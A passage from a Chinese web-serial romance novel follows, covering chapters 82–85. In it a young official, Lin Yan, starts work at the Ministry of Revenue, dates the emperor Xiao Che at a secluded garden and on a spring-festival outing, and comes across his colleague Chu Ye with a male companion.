林砚:“……”到底是谁在闹? 他感觉自己像个人形抱枕兼安神香囊。 好在萧彻似乎真的只是抱抱,并没有进一步的动作。 烛火噼啪,室内安静,只剩下两人清浅的呼吸声。 林砚起初还绷着,后来渐渐放松下来,甚至有点昏昏欲睡。 不知过了多久,萧彻才松开手臂,声音清醒了些:“时辰不早了,朕让李德福备车,送你回去。” 林砚整了整被揉皱的衣袍:“哦,好吧。” 其实他还挺舍不得跟萧彻分开的。 回到林府,洗漱躺下,林砚脑子里还残留着被萧彻当抱枕的感觉。 啧,皇帝抱枕。 第二天,林砚算是正式开始了在户部的工作。 那半人高的规章他才翻了十分之一,但也不能一直看规章不处理公务。 张厚朴将他请到值房,和颜悦色地问:“林侍郎,规章看得如何了?可有什么不明白的?” 林砚老实回答:“回部堂,大致体例已了解,只是具体细则还需时日消化。” “无妨无妨。”张厚朴摆摆手,然后递过来一沓文书,“这些是各地刚送来的春税预估奏报,以及太府寺报上来的上半年内廷用度预算,你先看看,试着核验一下数据是否合理,做个初判,若有拿不准的,再去请教褚侍郎。” “是。”林砚接过那摞文书,感觉沉甸甸的责任感压了下来。 回到自己值房,林砚看着那些密密麻麻的数字和条目,深吸一口气。 好吧,开工。 林砚先拿起那份太府寺的内廷用度预算。 好家伙,光是采买绸缎一项就要支银三万两?宫里是打算拿绸缎当墙纸糊吗? 还有御膳房的采买,鸡鸭鱼肉、山珍海味列得那叫一个齐全,数量也惊人。 萧彻一个人吃得完吗?不对,这肯定是算了整个后宫和内侍省的份例。 但就算这样,这数字也夸张了点吧? 林砚看得眉头直皱。 他之前没在户部干过,对宫廷用度的具体标准和猫腻还不完全清楚,不敢贸然下判断。 想了想,他决定去找褚晔。 褚晔的值房就在他斜对面。 林砚拿着那份预算,敲了敲门。 “请进。”里面传来褚晔清朗的声音。 林砚推门进去,褚晔正伏案写着什么,见他进来,立刻放下笔,起身笑道:“林大人,可是有事?” 林砚有点不好意思:“褚大人,打扰了,张部堂让我核验内廷用度预算,我看了太府寺的条陈,对其中几项用度的数额有些拿不准,特来请教。” 褚晔闻言:“林大人客气了,互相探讨是应当的,快请坐。” 两人在旁边的茶桌旁坐下,林砚将那份预算指给褚晔看:“褚大人你看,譬如这绸缎采买,三万两之数是否过于奢靡?还有御膳房的采买,这鸡鸭鱼肉的数量,依往年惯例,可有虚高?” 褚晔接过仔细看了看,然后耐心解释道:“林大人心思缜密,问到了点子上,这内廷用度,水深得很,太府寺报来的数,往往都会上浮一两成,乃至更多,已是惯例。” “至于这三万两绸缎……”褚晔压低了些声音,“其中一部分确是宫中份例,但往往也夹杂着某些管事太监或女官的私下请托,借机牟利,御膳采买亦是如此,虚报、克扣、以次充好,屡见不鲜。” 林砚恍然大悟:“原来如此。”果然哪里都有灰色地带。 若是萧彻宫里有皇后或者别的妃嫔,自然有人管着、盯着,不过萧彻后宫空置,也就让更多的人有了可乘之机。 加之先皇一向信奉“水至清则无鱼”,恐怕也是多年来养成了这个样子。 “那依褚大人看,这批预算,该如何核减?”林砚虚心求教。 褚晔显然对此很有经验,拿起笔,在纸上边写边说:“绸缎一项,可按往年实际支出并考量今年物价微涨,核减五千两,御膳采买,重点核减这些明显超量的禽肉和昂贵山珍,大约可核减三千两,另外,宫中烛火、炭冰、器物修缮等项,也皆有空间……” 他细细说来,条理清晰,数据扎实,显然对户部的工作烂熟于心。 林砚听得连连点头,内心对这位同事的评价又高了几分。 果然离开了废物同事之后上班都没有那么痛苦了。 褚晔讲解完毕,抬头看向林砚:“林大人以为如何?” 林砚真心实意地拱手:“听褚大人一席话,胜读十年户部则例!” 褚晔被他这比喻逗笑了:“林大人过奖了,日后若有不明之处,随时来问便是。” “一定一定!”林砚拿着被褚晔标注得密密麻麻的预算表,心满意足地回了自己值房。 一上午的时间,他就在请教、学习和初步核验中度过。 到了午膳时分,户部食堂开了饭。 林砚跟着同僚们一起去用餐。 户部的餐标要比祠部司高。 四菜一汤,两荤两素,米饭管够,甚至还有餐后水果。 林砚吃得那叫一个心满意足。 吃饱喝足,倦意上涌。 林砚回到值房,看着窗外暖融融的阳光,决定午休一下下。 将几张椅子拼在一起,脱下官袍外套盖在身上,林砚就这么蜷缩着,迷迷糊糊地睡了过去。 这一觉睡得并不沉,半梦半醒间,仿佛还听到了外面同僚轻微的走动和交谈声。 但没人来打扰他。 大约睡了小半个时辰,林砚自己醒了。 揉揉眼睛,起身活动了一下有些发麻的胳膊腿,用凉水洗了把脸,顿时神清气爽。 下午,正式开工处理公务。 先根据褚晔的指导,将那份内廷用度预算的核验意见工工整整地写好,附上核减理由和金额。 然后开始处理其他地方送来的文书。 有请求拨付水利工程款的,林砚仔细查看了工程预算和图纸,觉得其中人工费用估得偏高,提笔核减了一部分。 有报告地方粮仓陈粮置换的,林砚核对了新旧粮食价格和损耗率,觉得置换比例可以再优化一下,批注要求重新核算。 还有申请追加地方官衙修缮费用的,林砚一看那修缮项目里居然还包括给县令后宅添置假山盆景,直接大笔一挥驳回,并附言“经费紧张,概不报销非公务支出”。 处理了几份后,林砚又遇到一份关于调整某个边境州府军粮运输补贴的奏请。 边境情况特殊,运输损耗巨大,这补贴该给多少,林砚心里没底。 他想了想,没有自作主张,拿起文书就去找张厚朴。 张厚朴正在看一份急报,见他进来,询问地抬头。 林砚将文书递上:“部堂,这份关于凉州军粮运输补贴的奏请,下官对边境运输损耗率拿不准,不敢擅断,请您示下。” 张厚朴接过看了看,眼中露出赞许之色:“嗯,此事确实需谨慎,边境运输,路况复杂,损耗无常,这样,你先放这儿,我查一下往年凉州那边的具体案例再定。” “是。”林砚放下文书,心里踏实不少。 谨慎点总没错。 一下午就在这看文书、核数据、写批注、偶尔请示中度过。 等到下班的钟声再次敲响,林砚恰好处理完手头最后一份公文。 他长长舒了口气,扭了扭有些酸痛的脖子。 上班第一天,感觉还不错。 虽然忙,但干的都是实事,同事上司也靠谱。 他收拾好东西,心情颇好地走出值房,准备下班回家。 刚到户部门口,正准备上马车,一道黑影如同鬼魅般,悄无声息地出现在马车旁,吓了林砚一跳。 定睛一看,是金九。 “金九?你怎么在这儿?”林砚拍拍胸口,“吓死我了。” 金九面无表情:“大人,陛下请您去丹园。” 丹园?什么地方?没听说过。 林砚一愣:“现在?陛下可在宫中?” “陛下已在丹园等候大人。”金九言简意赅。 不在宫里?难道这个丹园是男朋友找的什么约会圣地? 林砚立刻对车夫道:“调头,不去林府了,去丹园。”又对跟着的小厮说,“你回府禀告一声,就说陛下召见,晚膳不用等我了。” “是。”小厮应声而去。 马车轱辘,在金九的指引下,转向了一个林砚不太熟悉的方向。 他发现,这丹园的位置竟然比六部公廨离皇宫还要近,地处一片清幽之地,周围似乎都是些高门大院的别业。 马车在一处看起来并不起眼的宅院门前停下。 门楣上挂着“丹园”二字的匾额,字迹古朴。 林砚刚下马车,那朱漆大门便从里面打开了。 萧彻竟亲自站在门内,见他来了,唇角微扬,快步走下台阶,伸手扶住了刚踩稳脚蹬的林砚。 “小心些。”萧彻的声音带着笑意。 林砚惊喜:“陛下,你怎么还出来了?” “估摸着你快到了。”萧彻很自然地牵起他的手,拉着他就往园子里走,“晚膳都备好了,就等你了。” 林砚被他牵着,好奇地打量这个园子。 从外面看并不显大,但进去之后才发现别有洞天。 亭台楼阁,小桥流水,布置得极为精巧雅致,一步一景,显然是花了大力气设计和打理的,而且格外安静,仿佛与世隔绝。 “陛下,这丹园是何地?”林砚忍不住好奇发问。 萧彻先把他按在已经摆满美味佳肴的饭桌前坐下,然后才在他旁边坐了,解释道:“这是朕还是太子时,在宫外的一处私宅,那时居于东宫,但与先皇政见不合时常有争执,吵得厉害了,朕便不愿回东宫,偶尔会来这处宅子独自待着,清静清静。” 林砚瞬间就懂了。 哦,太子时期的“安全屋”,吵架后的冷静基地,帝王版“男人哭吧不是罪”的秘密据点。 他看向萧彻,眼神里多了几分了然。 也有心疼。 萧彻作为太子在政见与先皇不合,又经常争吵的情况下还能稳稳当当坐在太子的位置上,先皇对萧彻应当也是疼爱的,只是这对父子偏偏要做的是一国之君,他们的想法相异,比起寻常父子间,影响要大太多太多。 萧彻被他这眼神看得有点不自在,夹了一筷子肉到他碗里:“吃饭,尝尝这个,味道应该不错。” 林砚从善如流,低头吃饭。 两人安静地用着膳,偶尔低声交谈几句,气氛温馨而宁静。 用过晚膳,宫人悄无声息地撤去杯盘,又重新奉上热茶和几样精致的点心。 丹园里愈发安静,只有晚风吹过竹叶的沙沙声,和远处隐约传来的几声虫鸣。 烛火将室内照得温暖而朦胧,在萧彻轮廓分明的侧脸上投下柔和的光影。 林砚捧着茶杯,小口啜饮着,觉得这地方真是个好地方,又安静又舒服,关键是没有宫里那么多规矩和眼睛。 他正胡思乱想着,身边的位置一沉,萧彻又坐了过来,很自然地将手臂搭在他身后的椅背上,形成一个半包围的姿势。 “今日在户部,可还顺利?”萧彻的声音比平时更低沉舒缓些,带着饭后特有的慵懒。 “挺顺利的。”林砚放松地靠向椅背,几乎能感受到萧彻手臂传来的温度,“褚晔人不错,教了我很多,张尚书也和气。” “那就好。”萧彻似乎松了口气,指尖卷着林砚垂在肩后的一缕头发,“朕还怕你不适应。” “有什么不适应的,比在祠祭司跟武海闵和郑经打交道强多了。”林砚下意识地吐槽,说完才觉失言,偷偷瞄了萧彻一眼。 萧彻果然低笑出声,胸腔微微震动:“看来武海闵给你留下的阴影不小。” “那可不……”林砚小声嘀咕,感觉到萧彻玩他头发的手指碰到了耳廓,有点痒,他缩了缩脖子。 这细微的躲避动作却似乎勾起了萧彻的什么心思,他放下那缕头发,手指转而轻轻捏了捏林砚的耳垂。 微凉的指尖触碰到敏感的耳垂,林砚猛地一颤,像被微小的电流击中,脸颊“腾”地一下就热了。 “陛下……”林砚侧过头,想抗议,却撞进萧彻深沉的眸光里。 那里面映着跳动的烛火,和一个小小的自己。 萧彻没有说话,只是看着他,手指却从耳垂滑落,带着灼人的温度,轻轻抚过他的侧颈,拇指在那微微泛红的皮肤上缓慢地摩挲。 一下,又一下。 林砚的心跳骤然失序,呼吸都屏住了。 这触碰太过亲昵,明目张胆占,让他头皮发麻,手脚都有些发软。 林砚想说点什么,喉咙却像被堵住了一样。 萧彻的视线从他的眼睛,慢慢移到林砚因紧张而微抿的嘴唇上,眸光愈发幽深。 他缓缓倾身靠近。 林砚几乎能数清萧彻低垂的眼睫,能感受到他温热的呼吸拂过自己的脸颊,带着淡淡的茶香和独有的男性气息。 距离近得暧昧丛生。 林砚下意识地闭上了眼睛。 预料中的亲吻却没有落下。 萧彻的额头轻轻抵住了他的额头,鼻尖蹭着林砚的鼻尖,呼吸交融,气息灼热。 “含章。”萧彻极低地唤了一声,声音沙哑得厉害,带着一种难以言喻的渴求。 林砚的心尖都跟着颤了颤。 这声音,这距离,这几乎将他整个人笼罩的气息…… 太要命了。 林砚忍不住微微仰起头,像是在无声地邀请。 萧彻似乎轻笑了一下,不再犹豫,低头吻住了林砚的唇。 这个吻开始得温柔而缱绻,如同品尝珍馐,细细描摹着林砚的唇形,耐心地诱哄着他开启齿关。 林砚生涩地回应着,手不自觉地攥紧了萧彻的衣襟。 感受到他的顺从,萧彻的吻逐渐加深,变得强势而深入,仿佛要攫取他所有的呼吸和思绪。 林砚被吻得晕头转向,浑身发软,只能依靠着萧彻揽在他腰间的手臂支撑着自己。 不知过了多久,直到林砚觉得自己快要缺氧,萧彻才稍稍退开些许,两人的额头依旧相抵,呼吸急促而灼热。 萧彻看着他被吻得水光潋滟、红肿诱人的唇瓣,眼神暗沉,忍不住又凑上去轻啄了几下,才哑声道:“真想把你留在这儿。” 林砚脸颊滚烫,把发晕的脑袋埋进他肩窝,小声嘟囔:“明天还要上值呢。” 萧彻低低地笑了起来,抱紧他,叹了口气:“是啊,林侍郎如今是户部的栋梁,朕也不能耽误你办差。” 两人又依偎着说了会儿话,大多是萧彻在问,林砚答,内容琐碎,无非是日常起居、饮食喜好,但气氛却温馨得让人沉醉。 直到窗外传来更夫打更的模糊声响,萧彻才依依不舍地松开他。 “时辰不早了,朕送你回去。” 林砚点点头,虽然贪恋这份温存,但也知道该回去了。 萧彻亲自替他理好微微凌乱的衣襟和发丝,又拿起自己的披风给他仔细系好:“夜里风凉,仔细别吹着了。” 两人并肩走出丹园,马车早已候在门外。 临上马车前,萧彻握着林砚的手,低声道:“日后朕若得空,便来丹园等你,这里清静,比宫里自在些。”更比宫里见面要近得多。 萧彻这是在告诉他,这里是他们可以常见面的地方。 林砚看着萧彻在夜色中格外清晰的眉眼,那里面盛着的温柔和不舍几乎要溢出来。 他踮起脚尖,飞快地在萧彻唇上亲了一下。 “好。”林砚眼睛亮晶晶的,带着笑意和一丝羞涩,“那我等着陛下跟我见面。” 说完,不等萧彻反应,林砚便转身钻进了马车,心跳如擂鼓。 萧彻愣在原地,指尖下意识地抚过还残留着柔软触感和温度的唇瓣,看着马车帘子晃动,遮住了那个撩完就跑的身影,半晌,摇头失笑。 真是有时候像极了阿蛮。 马车缓缓启动,驶离了静谧的丹园。 林砚靠在车壁上,捂着还在狂跳的心口,嘴角却抑制不住地高高扬起。 丹园,安全屋,约会圣地。 嗯,这地方真好。 第83章 第 83 章 美色误人! 林砚是被窗外啾啾喳喳的鸟鸣声吵醒的。 不是那种扰人清梦的聒噪, 而是带着初春特有的、生机勃勃的脆响,像一群小精灵在开早间例会。 他迷迷糊糊地睁开眼,首先映入眼帘的是自己卧房熟悉的帐幔顶。 啊, 是自己的床。 没有墨色长发, 没有温热胸膛,没有萦绕不散的沉水香。 呼…… 林砚长长舒出一口气, 抬手抹了把并不存在的虚汗。 还好还好,只是做梦。 多半是日有所思夜有所梦, 昨天跟萧彻又亲得有些过火。 甩甩脑袋把荒谬的梦境赶走,伸了个懒腰,一骨碌爬起身。 今天是个大日子,三月三,上巳节。 大渝在上巳节这一日是要给官员放假的, 因此,林砚终于又可以跟萧彻出门约会了。 想到昨晚熬夜精心制作的“三月三上巳节约会攻略”,林砚就忍不住嘿嘿傻笑。 人在做自己喜欢做的事情时,怎么都不会觉得累。 洗漱完毕,换上萧彻让人送给他的新衣,林砚揣着他那宝贝攻略, 脚步轻快地出了门, 他没进宫,而是先去了丹园跟萧彻汇合。 一到丹园, 李德福便直接将他带到了临水的一处敞轩。 萧彻已经到了,正负手站在轩边,一身苍青色常服,衬得人身姿挺拔,少了几分朝堂上的威严, 多了几分闲适清雅。 “陛下。”林砚上前行礼,眼睛亮晶晶的。 萧彻回过身,目光落在他身上,唇角微扬:“来了。” 林砚从怀里掏出那份卷起来的攻略,献宝似的递过去,又有点不好意思:“陛下,你看这个。” 萧彻挑眉,接过那卷质地普通的纸张,展开。 《三月三上巳节·与昭临公子出游规划草案》 标题就让萧彻眼底掠过一丝笑意。 昭临,他的字。 继续往下看。 【辰时正:于丹园汇合。】 【辰时二刻:乘车出发,前往城西落霞溪。】 【巳时:祓禊仪式。】 【巳时三刻至午时:溪边踏青,漫步,赏景,闲聊。】 【午时:野餐。】 【未时:待定,可随机应变,或听从昭临公子安排。)】 …… 萧彻一字一句看完,指尖在这份攻略上轻轻摩挲了一下,抬起眼,看着眼前一脸“快夸我”表情的林砚,心中软成一片。 “规划得很是周全。”萧彻压下想将人立刻揽入怀中的冲动,语气温和带笑,“看来林卿为此耗费了不少心血。” “那是自然!”林砚见他满意,“陛下满意就好,那今日便按这个来?” 萧彻将攻略仔细折好,收进袖中,目光落在林砚发亮的眼眸上,缓声道:“好,今日,朕便听林卿的安排。 男朋友说都听我的! 林砚心里的小人已经开始放烟花旋转升天了,他一时激动,脑子一热,左右飞快瞄了一眼,见人都离得远,便以迅雷不及掩耳之势,踮起脚尖,“啾”的一声,在萧彻侧脸上亲了一口。 亲完立刻后退,脸颊泛红,眼神闪烁,强作镇定地看向池塘:“这是奖励!” 萧彻被他这偷袭弄得一怔,侧脸那柔软微湿的触感一掠而过,看着林砚那副明明羞窘却偏要装没事的模样,喉结微动,最终只是低笑一声,嗓音醇厚:“那便多谢含章的奖励了。” 他刻意放缓了“奖励”二字,听得林砚耳根更热了。 美色误人! 好在萧彻见好就收:“时辰不早了,我们出发?” “好。”林砚摸了摸自己发烫的耳垂,果然他还是不太习惯在外边。 马车早已备好,依旧是那辆看似普通内里舒适的青幔车。 两人上了车,紧挨着坐一起。 车轮滚动,驶出丹园,向着城西而去。 林砚熬夜做攻略,今起得也早,这会坐在马车里轻微晃动着,给晃出了困意,打着哈欠就往萧彻的身上倒。 “陛下,我好困,睡一会儿。”林砚抱着萧彻的手臂,闭上眼睛。 萧彻调整了下姿势,让他靠得更舒服些,肩头稳稳托住那颗毛茸茸的脑袋。 听着耳边呼吸渐渐均匀绵长,他目光落在林砚微蹙的眉心和眼下淡淡的青影上。 昨晚熬夜做这个,就为了今日。 指尖极轻地拂过林砚额前散落的碎发,动作轻柔得像是在触碰什么易碎的珍宝。 马车微微颠簸,萧彻的手臂始终稳如磐石。 约莫小半个时辰后,马车缓缓停下,金九在外低声禀报:“陛下,落霞溪到了。” 林砚迷迷糊糊地哼唧一声,脑袋在萧彻肩窝里蹭了蹭,才揉着眼睛醒过来:“到了?” “嗯。”萧彻应道,替他理了理蹭歪的衣领,“下车?” 林砚瞬间清醒了大半,兴奋地点头,率先跳下马车,深吸一口郊外清新的空气,夹杂着青草和泥土的芬芳,他眼睛一亮:“陛下,快看!” 眼前景致极好。 一条清澈溪流蜿蜒在初春的原野上,水声淙淙,阳光下波光粼粼。 两岸新绿茸茸,野花点缀其间,几株垂柳嫩芽初绽,随风轻拂。 远处山色如黛,天空湛蓝,四下里寂静无人,只有自然的天籁。 “很是清幽。”萧彻站在他身侧,目光扫过,颔首赞同。 清幽好,清幽便不会有人来打扰他们。 李德福指挥着人手脚利落地将毡毯、香案、香草、柳枝等物在溪边一块平整草地上安置妥当,随后便远远退开,与金九一同隐在远处警戒,将这片天地彻底留给他们。 仪式感瞬间就上来了。 林砚轻咳一声,努力端出几分郑重,引萧彻至溪边:“陛下,请先净手。” 铜盆中温水漾着各类香草,清香怡人。 萧彻从善如流,依言将手浸入水中。 林砚自己也仔细洗过,用布巾擦干。 然后拿起系着红绳的嫩绿柳枝,在清澈的溪水里蘸了蘸,转身面向萧彻,表情认真:“请陛下闭眼。” 萧彻看着他这副努力显得庄重却难掩活泼的模样,眼底笑意更深,从善如流地闭上眼。 林砚手持柳枝,小心翼翼地用带着清冽溪水的柔软柳梢,轻轻拂过萧彻的额头、脸颊、肩膀、手臂……动作轻柔而虔诚,一边拂,一边在心里默念他翻书凑来的祈福语:“一拂去灾厄,二拂招祥瑞,三拂……三拂祝我的昭临平安喜乐,万事顺遂……” 微凉的水珠偶尔溅落,柳梢拂过带来细微痒意。 萧彻能感觉到林砚动作里的小心翼翼,还有林砚的一片真心。 轮到萧彻为林砚祓禊时,他执起另一根柳枝,蘸取溪水。 林砚赶紧闭上眼,长睫因期待或紧张微微颤动。 萧彻的动作似乎更为沉稳流畅,柳枝依礼拂过,同时低声念出典雅庄重的祝祷词:“祈佑林氏含章,禳灾解厄,身心净澈,福慧双增,仕途顺遂,安康长乐……” 他的声音低沉温和,每个字都清晰落入林砚耳中。 林砚走神地想,他的安排应当称得上一句浪漫吧? 仪式完毕,两人相视一笑。 林砚赶紧把自己准备的吉祥话倒出来:“祝昭临公子,身体康健,笑口常开,心想事成!” 萧彻眼底笑意未褪,郑重回道:“那我便祝含章,永怀赤子之心,常享自在之乐,前路皆坦途,所愿皆得偿。” 他深深望入林砚眼睛,声音更柔缓几分:“无论何时,皆能做你想做之事,见你想见之人。” 阳光恰好洒在萧彻身上,那双总是深邃的凤眸里清晰映着林砚的模样,盛着毫不掩饰的温柔与祝福。 林砚只觉得心里涨得满满的。 祓禊过后,氛围陡然轻松。 卸下那点故作严肃,林砚彻底放开。 草地柔软,空气清新,阳光暖融,最关键的是——四下无人! 他几乎是立刻用小指勾了勾萧彻垂在身侧的手。 萧彻反手便握住,十指自然相扣。 林砚嘴角疯狂上扬,得寸进尺地晃了晃交握的手。 萧彻纵容地任他牵着,沿溪缓步而行。 溪水清澈见底,偶尔有几尾小鱼灵巧游过。 林砚指着鱼儿又开始叭叭:“陛下看这鱼,多肥!可惜没带钓竿。” 萧彻:“嗯。”下次让李德福备上。 走了一段,林砚开始像没骨头似的往萧彻身上靠,从肩膀挨着肩膀,发展到半个人挂在萧彻胳膊上,理直气壮:“路不平,怕摔。” 萧彻侧头看看这大型人形挂件,眼底满是无奈笑意,手臂却稳稳托着他。 行至一株花开繁盛的桃树下,林砚停下,深吸一口甜香,突发奇想:“陛下,我们合抱一下这棵树吧?沾沾春日的生机。” 萧彻看看那不算粗壮的树干,又看看眼神闪烁明显胡扯的林砚,点头:“好。” 两人面对面张开手臂环抱桃树。 树干细,这一抱,几乎等于隔树相拥。 脸颊隔花枝相近,呼吸可闻。 花瓣簌簌落下,沾满发间衣襟。 林砚能清晰看到萧彻长睫上跳跃的阳光和唇角纵容的笑,心跳再次失序。 远处众人:非礼勿视非礼勿视…… 野餐时光更是惬意。 饭菜是从五味斋买的,樱桃毕罗酸甜可口,笋肉卷鲜香脆嫩,新酿的梅子酒酸甜适口,酒精度数似乎不高,林砚小口啜饮着,觉得身心都舒坦得不得了。 他吃了两口,习惯性地夹起一块笋肉卷,很自然地递到萧彻嘴边:“陛下,这个好吃,您尝尝?” 萧彻看着他递到唇边的筷子,微微一顿,随即张口接过,细细咀嚼,点头:“确实不错。” “五味斋的厨子虽然不比御厨的手艺好,不过在京城也是一等一的。”林砚笑着,又给萧彻喂了一口菜。 阳光暖融,春风和煦,溪声潺潺,鼻尖是青草香与令人安心的沉水香。 第84章 第 84 章 大猪蹄子! 林砚枕在萧彻腿上, 眯着眼看头顶流云舒卷,肚子里的午饭随着时间推移,渐渐从沉甸甸变得熨帖。 春风拂过溪面, 带来湿润的水汽和青草香气, 阳光暖得恰到好处,让人骨头缝里都透出懒意。 林砚舒服地叹了口气, 像只被顺毛顺到极致的猫,在萧彻膝头蹭了蹭, 才慢吞吞坐起身。 “消食完毕,启程踏青!”林砚宣布,朝萧彻伸出手。 萧彻从善如流地握住那只手,借力站起身,却没有松开。 林砚也乐得牵着, 反正这地方偏僻得鬼都看不见一个,牵就牵呗。 两人沿着潺潺溪流信步往上走。 越往上游,河道渐渐收窄,两岸林木却愈发茂密,枝桠交错,几乎要探到水面上来。 人走在河边, 与树林的距离近得能听见里头细微的动静。 起初是风过叶片的沙沙声, 间或几声鸟鸣。 走着走着,林砚耳朵一动, 似乎捕捉到一点不同寻常的响动,像是压低的絮语,还夹杂着若有似无的笑声。 他下意识想拉萧彻绕开。 非礼勿听非礼勿视,人家小情侣钻小树林说悄悄话,他们杵过去多煞风景。 可偏偏就在这时, 跟在萧彻身后的李德福职业病晚期发作,耳朵比兔子还灵,听到那悉索动静,想也没想,下意识就朝着树林方向警惕地喝问了一句:“谁在那里?” 树林里的动静戛然而止。 死一般的寂静维持了不到两秒,随即响起一阵更加慌乱的悉索声,像是有人被惊得跳起来,手忙脚乱想跑,却慌不择路,反而弄出了更大动静。 “金九。”萧彻眉头都没动一下,只淡淡唤了一声。 影子般的暗卫应声而动,几乎没发出任何声响,就如一阵风般掠入了树林。 片刻后,金九去而复返,身后跟着两个面色惨白、衣衫略显凌乱的男人。 林砚看清其中一人面容时,瞳孔地震,大脑瞬间空白,只剩下六个点疯狂刷屏。 褚晔?! 他那位户部的好同事、干活利落、为人靠谱的左侍郎褚晔?! 而褚晔在看到岸边牵着手、姿态亲昵无比的林砚和皇帝陛下时,表情像是被雷劈过又扔进冰窖里涮了一遍,震惊、尴尬、恐慌、茫然……种种情绪交织,让他那张清瘦的脸庞色彩纷呈,精彩得能开染坊。 两人目光在空中相撞,都从对方眼里看到了同款的“我艸”和“怎么办现在假装没看见还来得及吗”的绝望。 空气凝固得能砸死人。 倒是萧彻,依旧稳如泰山,目光在褚晔和旁边那个身材高大、轮廓深邃、一看就非中原人士的男人身上扫过,语气平静得像是在问“吃了吗”:“褚爱卿在此处做甚?” 林砚要是能预知萧彻会问这个,绝对当场表演一个猛虎扑食捂住他的嘴。 人家还能干什么? 你出来约会还不许人家出来约会吗? 褚晔的脸瞬间红得能滴血,脚趾头估计已经在鞋子里抠出了一套三进宅院。 他嘴唇哆嗦了半天,才挤出蚊子哼一样的声音:“回、回陛下,臣……臣与友人,在此……在此踏青。” 声音虚得他自己都不信。 萧彻的目光落在那“友人”身上,带着审视:“这位是?” 那高大男人倒是比褚晔镇定些,虽也紧张,但还能维持基本礼仪,抱拳行礼,口音带着明显的北地腔调:“草民赫连锋,见过大渝皇帝陛下。” 他看了一眼紧张得快要晕过去的褚晔:“家中做些南来北往的皮毛、药材生意,与子曜……与褚大人,是旧识。” 萧彻闻言,略一颔首,并未多问细节。 他只需确定此人对大渝无害,并非探子或别有用心之徒即可。 至于臣子的私交,尤其还是这种显然超乎寻常的“私交”,他并无意深究。 “原来如此。”萧彻的语气甚至称得上平和,“春日踏青,确是雅事,二位自便吧。” 这话如同特赦令,褚晔和赫连锋都暗暗松了口气。 然而萧彻下一句,又让褚晔刚放回肚子里的心提到了嗓子眼:“今日偶遇,亦是缘分,李德福。” “老奴在。”李德福立刻上前。 “朕记得库房里有一对上好的鹣鲽玉佩,回去后你取了送到褚爱卿府上,算是朕与林卿的一点心意,祝二位……情谊长存。”萧彻面不改色地吩咐,仿佛送出一对寓意明显的鹣鲽佩是再正常不过的事。 林砚:“……”好你个萧彻。 褚晔的脸已经不能用红来形容了,那是一种混合了震惊、羞窘和恐慌的复杂色号。 “臣……谢陛下……”褚晔每个字都像是从牙缝里挤出来的。 皇帝陛下对于撞见他跟一个男人亲密无间好淡定啊,当皇帝的接受度这么高的吗? 哦,皇帝陛下自己也是断袖。 断袖的对象还是他的同僚林大人! 要是张尚书知道他手底下的左右侍郎都是断袖,怕不是会觉得户部公廨风水有问题。 林砚呆滞了许久,恍惚间他终于意识到为什么在户部总感觉跟褚晔气场很合,原来不仅是在工作上有默契,敢情他们俩都是断袖。 户部左右侍郎都是断袖,这…… 林砚和褚晔明显是脸皮薄的,萧彻跟赫连锋明显是不要脸的。 赫连锋得了大渝皇帝的赏赐,再次抱拳行礼:“谢陛下赏赐。” 只是那眼神飞快地扫过林砚和皇帝交握的手,又落在褚晔通红耳根上,掠过一丝极淡的了然和微妙的笑意。 “不必多礼。”萧彻语气依旧平淡,仿佛只是随手赏了把瓜子,而不是一对能让人浮想联翩的鹣鲽玉佩。 气氛再次陷入一种极致到令人脚趾蜷缩的尴尬。 林砚觉得自己必须做点什么来终止这场公开处刑。 他干笑两声,声音都变了调:“哈哈,那什么,风景真好,陛下,我们是不是该继续往前走了?褚大人,赫连先生,你们慢慢赏景……” 褚晔如蒙大赦,头点得像小鸡啄米:“是是是,陛下请,林大人请,臣不打扰了……” 说完,几乎是拉着赫连锋,同手同脚地迅速钻回了旁边的树林,速度快得像后面有鬼在追。 直到那两人的身影彻底消失在密林深处,林砚才长长地吐出一口气,感觉自己像是刚跑完十里地,浑身脱力。 林砚把发烫的额头抵在萧彻肩膀上,发出痛苦的呻吟:“完了,没脸见人了,以后在户部公廨,我还怎么直面褚晔?议事的时候对视一眼都会窒息吧?” 萧彻抬手,安抚地拍了拍他的背,语气里那点笑意更明显了:“怕什么,他亦有把柄在你手中,彼此彼此,甚为公平,日后办公,想必更能‘推心置腹’,‘默契无间’。” 林砚猛地抬起头,好你个浓眉大眼的萧彻:“这是公平的问题吗?这是尴尬!是社死!” 他越想越绝望,尤其是想到那对鹣鲽玉佩:“还有陛下!你干嘛送鹣鲽佩啊?还‘朕与林卿’,你这跟直接喊‘我和林砚是一对,我看你们俩也是一对,大家彼此彼此哦’有什么区别?” “难道不是?”萧彻挑眉,反问得理直气壮,甚至带着点“难道说错了”的无辜。 林砚一噎,被这强大的逻辑和厚脸皮打败了:“是,但是……哎呀!” 他词穷了,又把脑袋砸回萧彻肩上,声音闷闷的:“这跟公开处刑有什么区别?而且褚晔看起来都快吓晕过去了。” “他抗压能力尚可。”萧彻客观评价,随即语气微沉,带着一丝酸意,“况且,他与那北地商人,举止亲密,朕赐玉佩,亦是全他颜面,表明朕已知晓且并无怪罪之意,他该感激朕才是。” 林砚:“……” 语文阅读理解的题是你出的吧萧彻? 大猪蹄子! 林砚无语凝噎,只能有气无力地哼哼:“那我是不是还得替褚晔谢谢陛下隆恩浩荡?” “爱卿不必多礼。”萧彻从善如流地接道,手臂揽紧了他的腰,“朕赐褚晔鹣鲽玉佩,也不会忘记了爱卿的,等新贡的玉料到了,就叫人多打几对玉佩,什么鹣鲽、鸳鸯、大雁、连理枝,一个都不能少。” 林砚扶额,怎么还攀比起来了? “打住打住打住,先别提了,不然我老想着今天撞见褚晔的秘密。”林砚还要跟褚晔一块上班的。 “罢了,扰人确实不该。” 萧彻终于大发慈悲,结束了这个话题,牵起他的手,“走吧,继续踏青,只是……” 他目光扫过一旁努力缩小存在感的李德福和:“今日所见所闻……” 李德福立刻躬身:“老奴今日随侍并未见任何异常之人之事。” 他就不该多嘴,不然也不会让林大人如此尴尬。 萧彻颔首,这才重新迈开步子。 林砚被拉着往前走,回头望了一眼那片寂静下来的树林,心里为褚晔默哀了三秒钟。 好好一个上巳节休沐,被人撞破私情已经够惨了,还要收到皇帝亲手赠送的“出柜认证礼”。 褚晔,保重啊! 林砚此时尚且不知,遇到褚晔算好的,后边还有更大的“惊喜”等着他。 第85章 第 85 章 拜堂? 林砚觉得自己的腿快不是自己的了。 他吭哧吭哧走在前面带路, 手里还捏着他那份宝贝攻略,时不时低头确认一眼,嘴里念念有词:“沿溪上行约二里, 遇岔路选右侧土坡, 再行半盏茶功夫,应该就是这附近了猜对……” 萧彻不紧不慢地跟在他身后半步, 